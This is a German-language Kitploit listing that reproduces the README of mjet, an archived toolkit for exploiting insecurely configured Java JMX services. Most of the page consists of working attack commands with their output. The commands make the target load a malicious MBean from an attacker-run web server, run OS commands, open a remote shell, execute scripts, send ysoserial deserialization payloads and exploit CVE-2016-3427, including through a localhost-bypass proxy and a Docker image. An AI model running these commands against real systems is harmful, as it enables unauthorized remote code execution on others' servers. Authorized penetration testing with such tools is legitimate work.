Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/mogwailabs/mjet
Payload-GenerierungExploitationPost-ExploitationPenetrationstestsRed TeamingRemote-Access-ToolArchived
GitHubmogwailabs/mjet

mjet

MOGWAI LABS JMX-Exploitation-Toolkit

Repository anzeigen
20547vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

MJET von MOGWAI LABS

MOGWAI LABS JMX-Exploitation-Toolkit

MJET ist ein Fork von sjet, das von siberas entwickelt wurde, aber nicht mehr aktiv gepflegt wird. MJET wird vom MOGWAI LABS-Team gepflegt, das auch den Großteil der ursprünglichen sjet-Codebasis bereitgestellt hat.

MJET ermöglicht die einfache Ausnutzung unsicher konfigurierter JMX-Dienste. Weitere Hintergrundinformationen finden Sie hier und hier.

!!! Wichtig: Dieses Projekt wird nicht mehr gepflegt

Dieses Repository wird nicht mehr aktiv gepflegt. Wir empfehlen stattdessen die Verwendung von qtcs beanshooter.

Voraussetzungen

  • Jython 2.7
  • Ysoserial (zum Ausnutzen von Deserialisierungsschwachstellen über JMX)
  • opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (zur Unterstützung des alternativen JMX Message Protocol (JMXMP))

Verwendung

MJET implementiert eine CLI-Schnittstelle (unter Verwendung von argparse):

root@kitploit:~
jython mjet.py targetHost targetPort MODE password (modeOptions)

Wobei

  • targetHost - die IP-Adresse des Zielsystems
  • targetPort - der Zielport, auf dem JMX läuft
  • MODE - der Skriptmodus
  • modeOptions - die Optionen für den gewählten Modus

Authentifizierungsunterstützung (falls JMX-Authentifizierung aktiviert ist):

  • --jmxrole - der Benutzername
  • --jmxpassword - das Passwort

Weitere optionale Argumente:

  • --jmxmp - JMX-MP verwenden (erfordert das Laden einer zusätzlichen JAR-Datei)
  • --localhost_bypass - Dienstport für den Proxy beim Localhost-Bypass
  • --shell - Verwende definierte Shell
  • --rmiObjectName - RMI-Name des JMX-Endpunkts

Modi und modeOptions

  • install - installiert die Payload auf dem aktuellen Ziel
    • password - das Passwort, das nach erfolgreicher Installation gesetzt werden soll
    • payload_url - vollständige URL zum Laden der Payload
    • payload_port - Port zum Laden der Payload
  • uninstall - deinstalliert die Payload vom aktuellen Ziel
  • changepw - das Passwort einer bereits bereitgestellten Payload ändern
    • password - das Passwort für den Zugriff auf die installierte MBean
    • newpass - das neue Passwort
  • command - führt den Befehl CMD auf dem targetHost aus
    • password - das Passwort für den Zugriff auf die installierte MBean
    • CMD - der auszuführende Befehl
  • shell - startet eine einfache Shell auf dem targetHost (mit den Einschränkungen von java's Runtime.exec())
    • password - das Passwort für den Zugriff auf die installierte MBean
  • javascript - führt eine JavaScript-Datei FILENAME auf dem targetHost aus
    • password - das Passwort für den Zugriff auf die installierte MBean
    • FILENAME - das auszuführende JavaScript
  • deserialize - sendet eine ysoserial-Payload an das Ziel
    • gadget - Gadget, wie von ysoserial bereitgestellt, z. B. CommonsCollections6
    • cmd - der auszuführende Befehl
  • webserver - nur den MLET-Webserver ausführen
    • payload_url - vollständige URL zum Laden der Payload
    • payload_port - Port zum Laden der Payload

Beispiele

Installieren der Payload-MBean auf einem verwundbaren JMX-Dienst

Im folgenden Beispiel läuft der verwundbare JMX-Dienst auf 10.165.188.23 Port 2222, der Angreifer hat die IP-Adresse 10.165.188.1. Der JMX-Dienst verbindet sich mit dem Webdienst des Angreifers, um die Payload-JAR-Datei herunterzuladen. MJET startet den benötigten Webdienst auf Port 8000.

Nach der erfolgreichen Installation der MBean wird das Standardpasswort in das Passwort geändert, das an der Befehlszeile angegeben wurde ("super_secret").

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Installation mit JMX-Anmeldedaten (erfordert ebenfalls eine schwache Konfiguration des Servers):

root@kitploit:~
h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Ausführen des Befehls 'ls -la' auf einem Linux-Ziel:

Nachdem die Payload installiert wurde, können wir sie verwenden, um Betriebssystembefehle auf dem Ziel auszuführen.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

Ausführen im Shell-Modus

Wenn Sie nicht für jeden Befehl Java laden möchten, können Sie den "Shell-Modus" verwenden, um eine eingeschränkte Befehlsshell zu erhalten.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Aufrufen einer JavaScript-Payload auf einem Ziel:

Das Beispielskript "javaproperties.js" zeigt die Java-Eigenschaften des verwundbaren Dienstes an. Es kann wie folgt aufgerufen werden:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...


[+] Done

Passwort ändern

Ändert das vorhandene Passwort ("super_secret") in "this-is-the-new-password":

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

Deinstallieren der Payload-MBean vom Ziel

Deinstalliert die Payload-MBean 'MogwaiLabs' vom Ziel:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  8
[+] MBean correctly uninstalled
[+] Done

Java-Deserialisierung mit ysoserial ausnutzen

Nutzen Sie Java-Deserialisierung mit ysoserial auf dem Ziel aus: Die Datei ysoserial.jar muss im MJET-Verzeichnis vorhanden sein. Sie können eine beliebige ysoserial-Payload auswählen, ähnlich wie bei den ursprünglichen ysoserial-Aufrufen.

Dieser Angriff funktioniert sogar, wenn die JMX-Authentifizierung aktiviert ist und der Benutzer über "readonly"-Berechtigungen verfügt.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected

[+] Done

CVE-2016-3427 ausnutzen: JMX-Authentifizierung mit Java-Deserialisierung

Nutzen Sie CVE-2016-3427 mit ysoserial aus: Die Datei ysoserial.jar muss im Verzeichnis MJET/jar vorhanden sein. Sie können eine beliebige ysoserial-Payload auswählen, ähnlich wie bei den ursprünglichen ysoserial-Aufrufen.

root@kitploit:~
$ java -jar jython.jar mjet.py 127.0.0.1 9999 cve-2016-3427 CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi
[+] Object was deserialized, target could be vulnerable
[?]: Returned error:
(<type 'java.lang.SecurityException'>, java.lang.SecurityException: Authentication failed! Credentials should be String[] instead of java.util.HashSet, <traceback object at 0x2>)
[+] Done

Referenz: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

Nur-Webserver-Modus

Es ist auch möglich, nur den Webserver auszuführen, der den MLET-Code und die JAR-Datei mit der Payload-MBean bereitstellt.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service

Unterstützung des JMX Message Protocol (JMXMP)

Laden Sie opendmk_jmxremote_optional_jar-1.0-b01-ea.jar herunter und verschieben Sie es in das jars-Verzeichnis. Sie müssen dieses Verzeichnis über java -cp zum Klassenpfad hinzufügen.

root@kitploit:~
java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass

Localhost-Bypass

Es kommt manchmal vor, dass die RMI-Registry ein RemoteObject bereitstellt, das nur über localhost erreichbar ist (Beispiel @127.0.0.1:45401). Der Port, über den das RemoteObject im Netzwerk erreichbar ist, ist jedoch offen.

root@kitploit:~
$ nmap -sVC 172.17.0.2 -p 9999,45401

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

PORT      STATE SERVICE     VERSION
9999/tcp  open  java-rmi    Java RMI Registry
| rmi-dumpregistry: 
|   jmxrmi
|      implements javax.management.remote.rmi.RMIServer, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:45401
|             extends
|_              java.rmi.server.RemoteObject
45401/tcp open  rmiregistry Java RMI

Es ist dennoch möglich, diesen Dienst mithilfe der Option --localhost_bypass <PORT> auszunutzen. Im folgenden Beispiel verwenden wir Port 45401. Dadurch wird ein TCP-Proxy auf localhost gestartet und der Datenverkehr an den targetHost auf dem angegebenen Port weitergeleitet.

root@kitploit:~
$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 6666
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi
[+] Started localhost proxy on port 45401
[+] Connected: rmi://172.17.0.1  17
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://172.17.0.1:6666
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

Benutzerdefinierter RMI-Objektname

Es kommt manchmal vor, dass der RMI-Objektname des JMX-Endpunkts nicht jmxrmi ist. In diesem Fall kann der Parameter --rmiObjectName verwendet werden, um den entsprechenden RMI-Objektnamen anzugeben, z. B. --rmiObjectName=customJmxRmi.

root@kitploit:~
$ jython mjet.py --rmiObjectName=customJmxRmi 172.17.0.2 2222 super_secret install http://172.17.0.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/customJmxRmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
$  

Verwenden einer eigenen definierten Shell

Es kommt manchmal vor, dass das Zielsystem keine /bin/bash- oder cmd.exe-Shell bereitstellt. In diesem Fall kann der optionale Parameter --shell angegeben werden, z. B. --shell="bash -c". Durch die Ausführung des JavaScripts javaproperties.js mit mjet.py werden weitere Details zur Umgebung angezeigt.

root@kitploit:~
$ jython mjet.py --shell="bash -c" 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
$

Referenz: https://www.optiv.com/blog/exploiting-jmx-rmi

Docker

Docker-Image erstellen und ausführen

root@kitploit:~
# Build
docker build -t mjet .
# Run Help
docker run mjet
# Exploit example
docker run mjet 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
# Run Interactive into shell
docker run --entrypoint /bin/sh -it mjet

Standardmäßig ist im Docker-Image Port 8000 für den HTTP-Server freigegeben. Wenn Sie einen anderen Port benötigen, müssen Sie daran denken, ihn freizugeben!

Mitwirken

Wir freuen uns über Beiträge.

Autoren

  • Hans-Martin Münch - Ursprüngliche Idee und Arbeit - h0ng10
  • Patricio Reller - CLI und zusätzliche Optionen - preller
  • Ben Campbell - Mehrere Verbesserungen - Meatballs1
  • Arnim Rupp - Unterstützung für Authentifizierung
  • Sebastian Kindler - Unterstützung für Deserialisierung
  • Karsten Zeides - Unterstützung für JMX Message Protocol, Localhost-Bypass zeides
  • g60ocR - Docker-Datei g60ocR
  • Morn98 - Shell- und RMI-Auswahl Morn98)

Siehe auch die Liste der Mitwirkenden, die an diesem Projekt teilgenommen haben.

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.

Tool herunterladen